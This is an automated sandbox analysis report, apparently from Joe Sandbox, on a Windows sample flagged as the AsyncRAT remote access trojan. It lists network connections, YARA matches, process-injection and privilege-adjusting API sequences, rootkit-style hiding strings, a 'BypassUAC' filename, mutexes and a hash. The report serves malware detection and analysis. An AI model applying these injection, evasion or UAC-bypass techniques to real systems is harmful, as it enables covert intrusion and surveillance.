Source: unknown	HTTPS traffic detected: 104.26.2.16:443 -> 192.168.2.7:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 169.197.85.95:443 -> 192.168.2.7:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.19.58.157:443 -> 192.168.2.7:52493 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.19.58.157:443 -> 192.168.2.7:52495 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.19.58.157:443 -> 192.168.2.7:52497 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.19.58.157:443 -> 192.168.2.7:52500 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.19.58.157:443 -> 192.168.2.7:52504 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.19.58.157:443 -> 192.168.2.7:52509 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.2.wzcsapi.exe.28cf290.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.2.wzcsapi.exe.1bee0000.2.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.2.wzcsapi.exe.28cf290.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.2.wzcsapi.exe.1bee0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000003.00000002.2674092147.000000001BEE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000003.00000002.2644119365.00000000028C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Users\user\Desktop\r8k29DBraE.exe	Code function: 1_2_000002616F5928DC NtEnumerateValueKey,NtEnumerateValueKey,	1_2_000002616F5928DC
Source: C:\Users\user\Desktop\wzcsvc.exe	Code function: 4_2_00007FF6B5AD10C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,	4_2_00007FF6B5AD10C0
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_000001CA7D1E28DC NtEnumerateValueKey,NtEnumerateValueKey,	6_2_000001CA7D1E28DC
Source: C:\Windows\System32\WerFault.exe	Code function: 8_2_00000265B3C02544 NtQueryDirectoryFileEx,GetFileType,StrCpyW,	8_2_00000265B3C02544
Source: C:\Windows\System32\WerFault.exe	Code function: 8_2_00000265B3C02034 NtQuerySystemInformation,StrCmpNIW,	8_2_00000265B3C02034
Source: C:\Windows\System32\lsass.exe	Code function: 9_2_0000017D2DD52034 NtQuerySystemInformation,StrCmpNIW,	9_2_0000017D2DD52034
Source: C:\Windows\System32\lsass.exe	Code function: 9_2_0000017D2DD52544 NtQueryDirectoryFileEx,GetFileType,StrCpyW,	9_2_0000017D2DD52544
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_0000013DE2722034 NtQuerySystemInformation,StrCmpNIW,	11_2_0000013DE2722034
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CA28DC NtEnumerateValueKey,NtEnumerateValueKey,	14_2_00000262F1CA28DC
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002234E152544 NtQueryDirectoryFileEx,GetFileType,StrCpyW,	15_2_000002234E152544
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000002287AD72034 NtQuerySystemInformation,StrCmpNIW,	18_2_000002287AD72034
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000002287AD72544 NtQueryDirectoryFileEx,GetFileType,StrCpyW,	18_2_000002287AD72544

Source: C:\Windows\System32\lsass.exe	File created: C:\Windows\system32\Microsoft\Protect\S-1-5-18\User\7415a32d-d2c0-4e8d-943e-3e817e4bf894
Source: C:\Windows\System32\lsass.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
Source: C:\Windows\System32\lsass.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

Source: C:\Windows\System32\lsass.exe

File deleted: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

Source: C:\Users\user\Desktop\r8k29DBraE.exe	Code function: 1_2_000002616F313E18	1_2_000002616F313E18
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Code function: 1_2_000002616F30D650	1_2_000002616F30D650
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Code function: 1_2_000002616F301F40	1_2_000002616F301F40
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Code function: 1_2_000002616F5A6218	1_2_000002616F5A6218
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Code function: 1_2_000002616F5A4A18	1_2_000002616F5A4A18
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Code function: 1_2_000002616F5A6100	1_2_000002616F5A6100
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Code function: 1_2_000002616F5A6100	1_2_000002616F5A6100
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Code function: 1_2_000002616F59E250	1_2_000002616F59E250
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Code function: 1_2_000002616F592B40	1_2_000002616F592B40
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Code function: 1_2_00007FFAAC560C5E	1_2_00007FFAAC560C5E
Source: C:\Users\user\Desktop\wzcsapi.exe	Code function: 3_2_00007FFAAC5981B6	3_2_00007FFAAC5981B6
Source: C:\Users\user\Desktop\wzcsapi.exe	Code function: 3_2_00007FFAAC598F62	3_2_00007FFAAC598F62
Source: C:\Users\user\Desktop\wzcsapi.exe	Code function: 3_2_00007FFAAC591485	3_2_00007FFAAC591485
Source: C:\Users\user\Desktop\wzcsvc.exe	Code function: 4_2_0000023EB69F1F40	4_2_0000023EB69F1F40
Source: C:\Users\user\Desktop\wzcsvc.exe	Code function: 4_2_0000023EB6A03E18	4_2_0000023EB6A03E18
Source: C:\Users\user\Desktop\wzcsvc.exe	Code function: 4_2_0000023EB69FD650	4_2_0000023EB69FD650
Source: C:\Users\user\Desktop\wzcsvc.exe	Code function: 4_2_00007FF6B5AD2264	4_2_00007FF6B5AD2264
Source: C:\Users\user\Desktop\wzcsvc.exe	Code function: 4_2_00007FF6B5AD14D0	4_2_00007FF6B5AD14D0
Source: C:\Users\user\Desktop\wzcsvc.exe	Code function: 4_2_00007FF6B5AD2558	4_2_00007FF6B5AD2558
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_0000021681981F40	5_2_0000021681981F40
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_0000021681993E18	5_2_0000021681993E18
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_000002168198D650	5_2_000002168198D650
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00000216819B2B40	5_2_00000216819B2B40
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00000216819C4A18	5_2_00000216819C4A18
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00000216819BE250	5_2_00000216819BE250
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_000001CA7D1C3E18	6_2_000001CA7D1C3E18
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_000001CA7D1BD650	6_2_000001CA7D1BD650
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_000001CA7D1B1F40	6_2_000001CA7D1B1F40
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_000001CA7D1F6218	6_2_000001CA7D1F6218
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_000001CA7D1F4A18	6_2_000001CA7D1F4A18
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_000001CA7D1EE250	6_2_000001CA7D1EE250
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_000001CA7D1F6100	6_2_000001CA7D1F6100
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_000001CA7D1F6100	6_2_000001CA7D1F6100
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_000001CA7D1E2B40	6_2_000001CA7D1E2B40
Source: C:\Windows\System32\WerFault.exe	Code function: 8_2_00000265B3C160E8	8_2_00000265B3C160E8
Source: C:\Windows\System32\WerFault.exe	Code function: 8_2_00000265B3C02B40	8_2_00000265B3C02B40
Source: C:\Windows\System32\WerFault.exe	Code function: 8_2_00000265B3C0E250	8_2_00000265B3C0E250
Source: C:\Windows\System32\WerFault.exe	Code function: 8_2_00000265B3C16218	8_2_00000265B3C16218
Source: C:\Windows\System32\WerFault.exe	Code function: 8_2_00000265B3C14A18	8_2_00000265B3C14A18
Source: C:\Windows\System32\lsass.exe	Code function: 9_2_0000017D2DD21F40	9_2_0000017D2DD21F40
Source: C:\Windows\System32\lsass.exe	Code function: 9_2_0000017D2DD2D650	9_2_0000017D2DD2D650
Source: C:\Windows\System32\lsass.exe	Code function: 9_2_0000017D2DD33E18	9_2_0000017D2DD33E18
Source: C:\Windows\System32\lsass.exe	Code function: 9_2_0000017D2DD660E8	9_2_0000017D2DD660E8
Source: C:\Windows\System32\lsass.exe	Code function: 9_2_0000017D2DD52B40	9_2_0000017D2DD52B40
Source: C:\Windows\System32\lsass.exe	Code function: 9_2_0000017D2DD5E250	9_2_0000017D2DD5E250
Source: C:\Windows\System32\lsass.exe	Code function: 9_2_0000017D2DD66218	9_2_0000017D2DD66218
Source: C:\Windows\System32\lsass.exe	Code function: 9_2_0000017D2DD64A18	9_2_0000017D2DD64A18
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000022F4B8F1F40	10_2_0000022F4B8F1F40
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000022F4B8FD650	10_2_0000022F4B8FD650
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000022F4B903E18	10_2_0000022F4B903E18
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000022F4B922B40	10_2_0000022F4B922B40
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000022F4B92E250	10_2_0000022F4B92E250
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000022F4B934A18	10_2_0000022F4B934A18
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_0000013DE2736218	11_2_0000013DE2736218
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_0000013DE2734A18	11_2_0000013DE2734A18
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_0000013DE272E250	11_2_0000013DE272E250
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_0000013DE2722B40	11_2_0000013DE2722B40
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CB6218	14_2_00000262F1CB6218
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CB4A18	14_2_00000262F1CB4A18
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CB6100	14_2_00000262F1CB6100
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CB6100	14_2_00000262F1CB6100
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CA2B40	14_2_00000262F1CA2B40
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CAE250	14_2_00000262F1CAE250
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1EA1F40	14_2_00000262F1EA1F40
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1EAD650	14_2_00000262F1EAD650
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1EB3E18	14_2_00000262F1EB3E18
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002234E133E18	15_2_000002234E133E18
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002234E12D650	15_2_000002234E12D650
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002234E121F40	15_2_000002234E121F40
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002234E166218	15_2_000002234E166218
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002234E164A18	15_2_000002234E164A18
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002234E15E250	15_2_000002234E15E250
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002234E152B40	15_2_000002234E152B40
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002234E1660E8	15_2_000002234E1660E8
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_0000023942AF3E18	16_2_0000023942AF3E18
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_0000023942AED650	16_2_0000023942AED650
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_0000023942AE1F40	16_2_0000023942AE1F40
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_0000023942B12B40	16_2_0000023942B12B40
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_0000023942B24A18	16_2_0000023942B24A18
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_0000023942B1E250	16_2_0000023942B1E250
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_000001EF056A1F40	17_2_000001EF056A1F40
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_000001EF056AD650	17_2_000001EF056AD650
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_000001EF056B3E18	17_2_000001EF056B3E18
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_000001EF056D2B40	17_2_000001EF056D2B40
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_000001EF056DE250	17_2_000001EF056DE250
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_000001EF056E6218	17_2_000001EF056E6218
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_000001EF056E4A18	17_2_000001EF056E4A18
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000002287AD860E8	18_2_000002287AD860E8
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000002287AD72B40	18_2_000002287AD72B40
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000002287AD86218	18_2_000002287AD86218
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000002287AD84A18	18_2_000002287AD84A18
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000002287AD7E250	18_2_000002287AD7E250
Source: C:\Windows\System32\svchost.exe	Code function: 19_2_000001B94DA61F40	19_2_000001B94DA61F40
Source: C:\Windows\System32\svchost.exe	Code function: 19_2_000001B94DA6D650	19_2_000001B94DA6D650
Source: C:\Windows\System32\svchost.exe	Code function: 19_2_000001B94DA73E18	19_2_000001B94DA73E18
Source: C:\Windows\System32\svchost.exe	Code function: 19_2_000001B94DA92B40	19_2_000001B94DA92B40
Source: C:\Windows\System32\svchost.exe	Code function: 19_2_000001B94DA9E250	19_2_000001B94DA9E250
Source: C:\Windows\System32\svchost.exe	Code function: 19_2_000001B94DAA4A18	19_2_000001B94DAA4A18
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_0000025202553E18	20_2_0000025202553E18
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_000002520254D650	20_2_000002520254D650
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_0000025202541F40	20_2_0000025202541F40
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_0000025202586218	20_2_0000025202586218
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_0000025202584A18	20_2_0000025202584A18
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_000002520257E250	20_2_000002520257E250
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_0000025202572B40	20_2_0000025202572B40
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_000001A9EBFC2B40	21_2_000001A9EBFC2B40
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_000001A9EBFCE250	21_2_000001A9EBFCE250
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_000001A9EBFD4A18	21_2_000001A9EBFD4A18
Source: C:\Windows\System32\svchost.exe	Code function: 22_2_0000019FF1601F40	22_2_0000019FF1601F40
Source: C:\Windows\System32\svchost.exe	Code function: 22_2_0000019FF1613E18	22_2_0000019FF1613E18
Source: C:\Windows\System32\svchost.exe	Code function: 22_2_0000019FF160D650	22_2_0000019FF160D650
Source: C:\Windows\System32\svchost.exe	Code function: 22_2_0000019FF1632B40	22_2_0000019FF1632B40
Source: C:\Windows\System32\svchost.exe	Code function: 22_2_0000019FF1644A18	22_2_0000019FF1644A18
Source: C:\Windows\System32\svchost.exe	Code function: 22_2_0000019FF163E250	22_2_0000019FF163E250

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\wzcsvc.exe F7DD8D6299C108A3221C31BF33637F59F0E19703AAA88B1E3A4F1093E7209A5D

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 432 -p 1408 -ip 1408

Source: wzcsvc.exe.1.dr

Static PE information: Resource name: DLL type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

Source: r8k29DBraE.exe, 00000001.00000000.1322519475.000002616CAB2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamewzshlstb.exe4 vs r8k29DBraE.exe
Source: r8k29DBraE.exe, 00000001.00000000.1322519475.000002616CAB2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesimple.exe" vs r8k29DBraE.exe
Source: r8k29DBraE.exe, 00000001.00000002.1595250313.00000261000C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameEncrypted.exe4 vs r8k29DBraE.exe
Source: r8k29DBraE.exe, 00000001.00000002.1598791740.000002616E810000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamewzshlstb.exe4 vs r8k29DBraE.exe
Source: r8k29DBraE.exe, 00000001.00000002.1598791740.000002616E810000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamesimple.exe" vs r8k29DBraE.exe
Source: r8k29DBraE.exe, 00000001.00000000.1322519475.000002616CB38000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameBypassUAC.exe4 vs r8k29DBraE.exe
Source: r8k29DBraE.exe	Binary or memory string: OriginalFilenamewzshlstb.exe4 vs r8k29DBraE.exe
Source: r8k29DBraE.exe	Binary or memory string: OriginalFilenamesimple.exe" vs r8k29DBraE.exe
Source: r8k29DBraE.exe	Binary or memory string: OriginalFilenameBypassUAC.exe4 vs r8k29DBraE.exe

Source: 3.2.wzcsapi.exe.28cf290.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.wzcsapi.exe.1bee0000.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.wzcsapi.exe.28cf290.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.wzcsapi.exe.1bee0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000003.00000002.2674092147.000000001BEE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000003.00000002.2644119365.00000000028C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: r8k29DBraE.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: wzcsapi.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: r8k29DBraE.exe, -Module-.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 1.2.r8k29DBraE.exe.2616e810000.11.raw.unpack, ---99w-ak--ev-8q-lg-7--bo.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 1.2.r8k29DBraE.exe.2616e810000.11.raw.unpack, 2-eaq-rvqt-9ov-hv8-iamz6-p-.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 1.2.r8k29DBraE.exe.2611006dab0.2.raw.unpack, ---99w-ak--ev-8q-lg-7--bo.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 1.2.r8k29DBraE.exe.2611006dab0.2.raw.unpack, 2-eaq-rvqt-9ov-hv8-iamz6-p-.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 3.2.wzcsapi.exe.28cf290.1.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.2.wzcsapi.exe.28cf290.1.raw.unpack, Iloveyou.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.2.wzcsapi.exe.28cf290.1.raw.unpack, Iloveyou.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.2.wzcsapi.exe.1bee0000.2.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.2.wzcsapi.exe.1bee0000.2.raw.unpack, Iloveyou.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 3.2.wzcsapi.exe.1bee0000.2.raw.unpack, Iloveyou.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 1.2.r8k29DBraE.exe.261000e7650.1.raw.unpack, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 1.2.r8k29DBraE.exe.261000e7650.1.raw.unpack, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 3.2.wzcsapi.exe.28cf290.1.raw.unpack, Youwillstay.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 3.2.wzcsapi.exe.28cf290.1.raw.unpack, Youwillstay.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 3.2.wzcsapi.exe.1bee0000.2.raw.unpack, Youwillstay.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 3.2.wzcsapi.exe.1bee0000.2.raw.unpack, Youwillstay.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: wzcsapi.exe.1.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: wzcsapi.exe.1.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: System.evtx.23.dr	Binary string: \Device\HarddiskVolume3\Windows\ImmersiveControlPanel\SystemSettings.exeX
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.23.dr	Binary string: J\Device\HarddiskVolume3\Program Files (x86)\Joebox\driver\joeboxdriver.sys
Source: Microsoft-Windows-SMBServer%4Operational.evtx.23.dr	Binary string: user-PC WORKGROUP:\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: wzcsvc.exe.1.dr	Binary string: SOFTWARE\wzconfigstartuppidprocess_namespathsservice_namestcp_localtcp_remoteudp\\?\NtQueryObjectntdll.dllNtQuerySystemInformationNtResumeThreadNtQueryDirectoryFileNtQueryDirectoryFileExNtEnumerateKeyNtEnumerateValueKeyEnumServiceGroupWadvapi32.dllEnumServicesStatusExWsechost.dllNtDeviceIoControlFile\\.\pipe\wzchildproc64\\.\pipe\wzchildproc32\\.\pipe\\Device\Nsiwz@
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.23.dr	Binary string: 4\Device\HarddiskVolume3\Windows\System32\dllhost.exeQC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.23.dr	Binary string: O\Device\HarddiskVolume3\Users\user\AppData\Local\Temp\JSAMSIProvider64.dll6\Device\HarddiskVolume3\Windows\System32\SIHClient.exe
Source: Microsoft-Windows-SMBServer%4Operational.evtx.23.dr	Binary string: DESKTOP-AGET0TR WORKGROUP:\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: Microsoft-Windows-CodeIntegrity%4Operational.evtx.23.dr	Binary string: >\Device\HarddiskVolume3\Windows\System32\drivers\filetrace.sys
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.23.dr	Binary string: 9\Device\HarddiskVolume3\Windows\System32\msvcp110_win.dll?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Microsoft-Windows-SMBServer%4Operational.evtx.23.dr	Binary string: \Device\NetbiosSmb
Source: System.evtx.23.dr	Binary string: \\?\Volume{5d0fa9fb-e2e8-4263-a849-b22baad6d1d8}\Device\HarddiskVolume4
Source: System.evtx.23.dr	Binary string: \Device\HarddiskVolume3\Windows\System32\svchost.exe
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.23.dr	Binary string: T\Device\HarddiskVolume3\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Source: System.evtx.23.dr	Binary string: C:\Device\HarddiskVolume3
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.23.dr	Binary string: 1\Device\HarddiskVolume3\Windows\System32\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exeP**
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.23.dr	Binary string: 1\Device\HarddiskVolume3\Windows\SysWOW64\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: System.evtx.23.dr	Binary string: \Device\HarddiskVolume3\Windows\SysWOW64\tzutil.exe
Source: System.evtx.23.dr	Binary string: \\?\Volume{5d0fa9fb-e2e8-4263-a849-b22baad6d1d8}\Device\HarddiskVolume4ic
Source: System.evtx.23.dr	Binary string: \Device\HarddiskVolume3\Windows\System32\svchost.exeT
Source: Microsoft-Windows-Security-Mitigations%4KernelMode.evtx.23.dr	Binary string: 4\Device\HarddiskVolume3\Windows\System32\spoolsv.exe
Source: System.evtx.23.dr	Binary string: \Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Microsoft-Windows-SMBServer%4Operational.evtx.23.dr	Binary string: :\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: Microsoft-Windows-SMBServer%4Operational.evtx.23.dr	Binary string: WIN-77KHDDR6TT1 WORKGROUP:\Device\NetBT_Tcpip_{E3B92EAA-F5C7-47F8-A487-F466F42035A1}
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.23.dr	Binary string: 9\Device\HarddiskVolume3\Windows\SysWOW64\msvcp110_win.dll?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe
Source: Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx.23.dr	Binary string: 1\Device\HarddiskVolume3\Windows\System32\curl.exe?\Device\HarddiskVolume3\Program Files (x86)\AutoIt3\AutoIt3.exe

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@16/81@3/4

Source: C:\Users\user\Desktop\wzcsvc.exe

Code function: 4_2_00007FF6B5AD2264 GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,

4_2_00007FF6B5AD2264

Source: C:\Users\user\Desktop\wzcsvc.exe

Code function: 4_2_00007FF6B5AD19BC SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,

4_2_00007FF6B5AD19BC

Source: C:\Users\user\Desktop\wzcsvc.exe

4_2_00007FF6B5AD2264

Source: C:\Users\user\Desktop\r8k29DBraE.exe

File created: C:\Users\user\Desktop\wzcsapi.exe

Jump to behavior

Source: C:\Users\user\Desktop\wzcsapi.exe	Mutant created: \Sessions\1\BaseNamedObjects\?P?IXNtJ?rCWp?x???MWE?D21Lc??A
Source: C:\Users\user\Desktop\wzcsapi.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7316:120:WilError_03
Source: C:\Users\user\Desktop\wzcsapi.exe	Mutant created: \Sessions\1\BaseNamedObjects\??8??????9???!???
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Mutant created: \Sessions\1\BaseNamedObjects\zBiiU5rd5BQKcgVCL
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1408

Source: C:\Windows\System32\svchost.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\32002d0d-a128-4623-9bc5-632f4c5e4b48

Jump to behavior

Source: r8k29DBraE.exe

